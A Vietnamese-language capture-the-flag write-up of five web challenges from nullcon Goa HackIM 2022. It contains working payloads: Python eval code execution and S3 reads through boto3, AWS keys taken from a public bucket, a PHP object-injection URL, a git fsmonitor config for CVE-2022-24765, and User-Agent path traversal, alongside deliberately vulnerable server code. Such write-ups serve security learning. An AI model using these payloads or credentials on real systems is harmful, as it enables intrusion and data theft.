---
# System prepended metadata

title: nullcon Goa HackIM CTF 2022 Writeup

---

# nullcon Goa HackIM CTF 2022 Writeup

## Cloud 9*9

![](https://i.imgur.com/FJZJFd1.png)

Giao diện web challenge nhìn qua cũng khá đơn giản, chỉ có vẻ là một máy tính toán bình thường. 🥴

![](https://i.imgur.com/VtgCXe6.png)

Server sử dụng flask/python nên mình nghĩ ngay đến ssti nhưng khi thử payload `{{7*7}}` thì có nhảy ra exception:

![](https://i.imgur.com/vMx3KKf.png)

Error xuất hiện khi call `eval(event['input'])` không hợp lệ

![](https://i.imgur.com/cm3g3oI.png)

Như vậy thì thay vì truyền payload template thì mình sẽ truyền thẳng payload để rce lên server 

```python=
__import__('subprocess').getoutput('id')
```

![](https://i.imgur.com/PHpR0T0.png)


Đến được đây chắc chắn mình sẽ đọc file `lambda-function.py` đầu tiên

```python=
import json

def lambda_handler(event, context):
    return { 
        'result' : eval(event['input'])
        #flag in nullcon-s3bucket-flag4 ......
    }
```

Với `lambda_handler` ta có thể tạo ra 1 GET request để xử lí dữ liệu và trả về người dùng

Đọc thêm: [S3 Object Lamda](https://aws.amazon.com/blogs/aws/introducing-amazon-s3-object-lambda-use-your-code-to-process-data-as-it-is-being-retrieved-from-s3/)

Bây giờ ta sẽ xem hàm `lambda_handler` này có thể remote file được trên bucket `nullcon-s3bucket-flag4` hay không

Sau một hồi research thì mình có để ý trên server có package `boto3`

![](https://i.imgur.com/wrI5JGe.png)

Từ đây ta sẽ call 1 hàm để lấy ra các file trên bucket chỉ định

![](https://i.imgur.com/4JIbnCr.png)

Mình sẽ sử dụng hàm `list_objects`

```python=
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')
```

Do function trả về dạng `dict` nên datetime không serialize được

![](https://i.imgur.com/7ImGddr.png)

Mình sẽ gọi thẳng file ra

![](https://i.imgur.com/0VMLjJH.png)

Vậy payload:

```python=
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents'][0]['Key']
```

![](https://i.imgur.com/vXGzTuF.png)

Oh shietzzz, gần ra flag rầu :pregnant_woman: 

Đến đây đã có `Key` là `flag4.txt` và `Bucket` là `nullcon-s3bucket-flag4`

Mình sẽ dùng hàm `get_object` để đọc nội dung file `flag4.txt`

![](https://i.imgur.com/PCUrRyc.png)

Và response từ hàm `get_object`

![](https://i.imgur.com/C9Jrnu0.png)

Payload:

```python=
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body']
```

![](https://i.imgur.com/g7NoDp6.png)

Hmm `streamingBody` không serialize được :zany_face: 

Sau khi stackoverflow thì mình cx solve được

![](https://i.imgur.com/AoG3lmt.png)

Payload:

```python=
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read().decode('utf-8')
```

UwU

![](https://i.imgur.com/UJ2TqtH.png)


Done flag là `ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}`

## More than meets the eye


![](https://i.imgur.com/PJMQFGA.png)

Vẫn là web challenge cũ nhưng còn có đường đi khác, mình bắt đầu check view-source và thấy bucket còn 1 đống resource chưa xem

![](https://i.imgur.com/ED73lXa.png)

Thẻ image này có sử dụng bucket s3 để lưu các file static được access public

Ngoài thẻ svg ra t còn 2 file là `.boto` và `dummy_credentials`

![](https://i.imgur.com/rcA2RLo.png)

```python=
# dummy_credentials
admin:5730df0sd8f4gsg
```

```conf=
# .boto
[Credentials]
aws_access_key_id = AKIA22D7J5LELFTREN7Z
aws_secret_access_key = 3IxS0lVvB661e1oxT4Wz0YRFDj7d4HJtWlJhiq5A
```

Có được access_key và secret_access_key đến đây thì mình sẽ config aws-cli như mẫu:

![](https://i.imgur.com/p5zhYGa.png)

Qua bước đó mình sẽ lấy các thông tin của user qua bộ key trên bằng cmd sau:

```bash=
aws sts get-caller-identity
```

Đọc thêm: [How to Get your Account ID with AWS CLI](https://bobbyhadz.com/blog/aws-cli-get-account-id)

![](https://i.imgur.com/xboMub4.png)

Tadaaa, đã lấy được thông tin mình chắc chắn flag là `ENO{W0W_sO_M4ny_Pu8l1c_F1leS}`

P/s: ban đầu mình còn tưởng nó là flag của `Cloud 9*9` nhưng không phải 🥺

## Jsonify

![](https://i.imgur.com/jhEeTne.png)


Challenge này cho 1 file php đã xóa toàn bộ dấu cách nên mình mất ít thời gian để beatifulize lại

Source code:

```php=
<?php
ini_set('allow_url_fopen', false);
interface SecurSerializable
{
    public function __construct();
    public function __shutdown();
    public function __startup();
    public function __toString();
}

class Flag implements SecurSerializable
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public function __construct($flagfile = null)
    {
        if (isset($flagfile)) {
            $this->flagfile = $flagfile;
        }
    }
    public function __shutdown()
    {
        return $this->properties;
    }
    public function __startup()
    {
        $this->readFlag();
    }
    public function __toString()
    {
        return "ClassFlag(" . $this->flag . ")";
    }
    public function setFlag($flag)
    {
        $this->flag = $flag;
    }
    public function getFlag()
    {
        return $this->flag;
    }
    public function setFlagFile($flagfile)
    {
        if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
            echo "ERROR: File is not valid!";
            return;
        }
        $this->flagfile = $flagfile;
    }
    public function getFlagFile()
    {
        return $this->flagfile;
    }
    public function readFlag()
    {
        if (!isset($this->flag) && file_exists($this->flagfile)) {
            $this->flag = join("", file($this->flagfile));
        }
    }
    public function showFlag()
    {
        if ($this->isAllowedToSeeFlag) {
            echo "Theflagis:" . $this->flag;
        } else {
            echo "Theflagis:[You'renotallowedtoseeit!]";
        }
    }
}
function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

function secure_unjsonify($json, $allowed_classes)
{
    $data = json_decode($json, true);
    if (!in_array($data['class'], $allowed_classes)) {
        throw new Exception("ErrorProcessingRequest", 1);
    }
    $obj = new $data['class']();
    foreach ($data['properties'] as $key => $value) {
        $obj->$key = unserialize($value, ['allowed_classes' => false]);
    }
    $obj->__startup();
    return $obj;
}
if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile'])) {
    $f = secure_unjsonify($_GET['obj'], array(
        'Flag'
    ));
    echo $f;
    $f->setFlagFile($_GET['flagfile']);
    $f->readFlag();
    $f->showFlag();
} else if (isset($_GET['show'])) {
    $f = new Flag();
    $f->flagfile = "./flag.php";
    $f->readFlag();
    $f->showFlag();
} else {
    header("Content-Type:text/plain");
    echo preg_replace('/\s+/', '', str_replace("\n", '', file_get_contents("./jsonify.php")));
}
```

Theo như flow thì mình phải truyền querystring `show`, `obj`, `flagfile`

Hàm `secure_jsonify` không được call trong code nhưng lại được define trong chương trình.

```php=
function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}
```

`$data` khởi tạo 1 array/object mới

`$data['class'] = get_class($obj)` để lấy ra tên của class ở đây trả về `Flag`

`$data['properties'] = array();` khởi tạo 1 array 

Khi foreach `$obj` gọi đến `__shutdown` trả về array của `$obj->properties` và serialize lại giá trị truyền vào từ các property trên.

Bây giờ mình tạo 1 script php serialize để set cho `flagfile` thành `./flag.php`

```php=
public function setFlagFile($flagfile)
    {
        if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
            echo "ERROR: File is not valid!";
            return;
        }
        $this->flagfile = $flagfile;
    }
```

Nhưng args của function `setFlagFile` mình không thể bypass được nên mình sẽ truyền thẳng giá trị cho `$this->flagfile` thành `./flag.php`

Trong source có sử dụng 1 interface để khai báo các methods cho class

![](https://i.imgur.com/z3fBVu3.png)

Những hàm được define này bắt buộc phải được call

Nếu chỉ define như này

![](https://i.imgur.com/FdJPV7b.png)

Thì code sẽ báo lỗi do chưa implement các methods này

![](https://i.imgur.com/GjqOzjK.png)

Trong hàm `secure_unjsonify` có gọi đến method `__startup` để `readflag`

![](https://i.imgur.com/ZfrIvUJ.png)

![](https://i.imgur.com/6NryUdl.png)

Vậy mình sẽ không cần quan tâm đến 2 dòng dưới này do flag đã được return ở trên

![](https://i.imgur.com/bCaJxie.png)

Bây giờ để cal được hàm `showFlag` và in ra `$this->flag` từ class `Flag`

![](https://i.imgur.com/aWu6Y5z.png)

Chuyển giá trị của `$this->isAllowedToSeeFlag` thành true
Xong bước bypass, sau đó mình cần thêm các `properties` cho class-serialize

![](https://i.imgur.com/NUt8rJN.png)

Gen serialize:

```php=
<?php

class Flag
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public function __construct($flagfile = null)
    {
        if (isset($flagfile)) {
            $this->flagfile = $flagfile;
        }
    }
    public function __shutdown()
    {
        return $this->properties;
    }
    public function __startup()
    {
        $this->readFlag();
    }
    public function __toString()
    {
        return "ClassFlag(" . $this->flag . ")";
    }
    public function readFlag()
    {
        if (!isset($this->flag) && file_exists($this->flagfile)) {
            $this->flag = join("", file($this->flagfile));
        }
    }
}

function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as &$key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

$obj = new Flag();
$obj->properties = ['isAllowedToSeeFlag', 'flagfile'];
$obj->isAllowedToSeeFlag = true;
$obj->flagfile = '/etc/passwd';
echo secure_jsonify($obj);
```

![](https://i.imgur.com/IedSgEg.png)

Đến đây ta chỉ cần truyền vào qs của obj để đọc file `/etc/passwd`

![](https://i.imgur.com/fgN3hFn.png)

`ERROR: File is not valid!` do từ hàm `setFlagFile` truyền file không hợp lệ từ ``$_GET['flagfile']`` (không quan tâm) ở dòng 97 ở trên

![](https://i.imgur.com/NFnwTZh.png)

Lấy flag `$obj->flagfile = './flag.php';`

Payload:

```
http://52.59.124.14:10002/?show&obj={"class":"Flag","properties":{"isAllowedToSeeFlag":"b:1;","flagfile":"s:10:\".\/flag.php\";"}}&flagfile=bu
```

![](https://i.imgur.com/A6l3wOL.png)

Done flag là `ENO{PHPwn_1337_hakkrz}`



## Git To the Core

![](https://i.imgur.com/CbaviuL.png)

Đề bài cho 1 server shell là tool để dump .git folder từ 1 URL

![](https://i.imgur.com/uQb9Ace.png)

Hoàn toàn ta có thể RCE được do trên server chỉ allow các args từ git

Gần đây có một lỗi từ `CVE-2022-24765` cho phép exec shell từ git config

![](https://i.imgur.com/2InN2Np.png)

Với `fsmonitor` là 1 tham số để ta có thể monitor được file system

![](https://i.imgur.com/fg4Iy9S.png)

Ta sẽ tạo 1 repo git và 1 file config như sau:

```conf=
# .git/config
[core]
    fsmonitor = "echo \"$(id)\">&2; false"
```

Test trên local:

![](https://i.imgur.com/YdoJtFm.png)

Forward port vào test thử:

![](https://i.imgur.com/d4Fq5gx.png)

Đã RCE thành công bây giờ ta sẽ xem file flag nằm ở đâu

![](https://i.imgur.com/4839Ui5.png)

Read file `/FLAG` là xong

```conf=
[core]
    fsmonitor = "echo \"$(cat /FLAG)\">&2; false"
```

![](https://i.imgur.com/xOBJIZE.png)

Done flag là `ENO{G1T_1S_FUn_T0_H4cK}`


## i love browsers

![](https://i.imgur.com/bNAk9Qp.png)

Với challenge này thì ban đầu mình cũng chưa có ý tưởng gì nhưng sau khi thằng cu em Hưng Chiến có nói là có thể dùng `User-Agent` để khai thác mình đã thử đục vào nó xem thế nào

![](https://i.imgur.com/t0WY7JW.png)

Nhưng mình vẫn đéo khai thác được gì 😆

Vậy thì chờ khi hết giải mấy ông trong discord có hint

![](https://i.imgur.com/V9HoZgu.png)

Mình thử ngay User-Agent bằng 2 dấu chấm xem thế nào

![](https://i.imgur.com/JE9ld4y.png)

Đến đây thì mình cũng ngờ ngợ được rằng backend sẽ đọc các file trên server 🤔

Khi thay đổi đến mỗi User-Agent khác nhau thì nội dung trên trang cũng khác nhau

![](https://i.imgur.com/zhHZiGt.png)

Mình thử đọc 1 file trên system bằng absolute path `/etc/passwd`

![](https://i.imgur.com/VMZcHgh.png)

Tưởng không dễ ai ngờ dễ không tưởng lấy flag hoy 😑

![](https://i.imgur.com/6Sw0777.png)

Done flag là `ENO{Why,os.path,why?}`

Chắc phải có âm mưa gì đó chứ người bình thường không thể nào config như này được 🐧

![](https://i.imgur.com/RZyQOKD.png)

Source code server:

```python=
from flask import Flask, render_template
import sqlite3

import os
import re
from flask import Flask, request, redirect, url_for, g

app = Flask(__name__)
data_base_url = "/app/browserinfo/"
#data_base_url = "/home/nicwer/programming/nullcongoa/web/compose_flask/browserinfo/" 

DATABASE = 'database.db'

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

def query_db(query, args=(), one=False):
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.route("/", methods=['GET', 'POST'])
def test():
    ua = request.headers.get('User-Agent')
    ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
    if ".." in ua2:
        return '<a href="https://xkcd.com/838/">This incident will be reported</a>'
    fn = os.path.join(data_base_url,ua2)
    try:
        f = open(fn)
        browserinfo = f.read()
        # app.logger.info(browserinfo)
        aa = query_db("SELECT * FROM comments WHERE browser=='" + ua2[0].lower() + "'")
        comments = []
        for bb in aa:
            comment = {"name":bb[2],"content":bb[3]}
            comments += comment,
            pass
    except Exception as ex:
        return "You are using an unsupported browser."
    

    return render_template('index.html',browser=ua2,binfo=browserinfo,comments=comments)

@app.route("/test", methods=['POST'])
def aaa():
    ua = request.headers.get('User-Agent')
    ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
    browser = ua2[0].lower()
    user = request.form['user']
    comment = request.form['comment']

    qstr = 'INSERT INTO comments (browser,username,comment) VALUES("' + str(browser) + '","' +str(user)+'","'+str(comment)+'");'
    print(qstr)
    if len(user) > 20 or len(comment) >500:
        return redirect('/')

    try:
        c =  get_db().cursor() 
        print("cursor got")
        c.execute(qstr)
        get_db().commit() 
    except:
        print("An error has occured")
    return redirect('/')

if __name__ == "__main__":
    port = int(os.environ.get('PORT', 5000))
    app.run(debug=False, host='0.0.0.0', port=port)
```

:::success
🤕 Make KCSC Great Forever
:::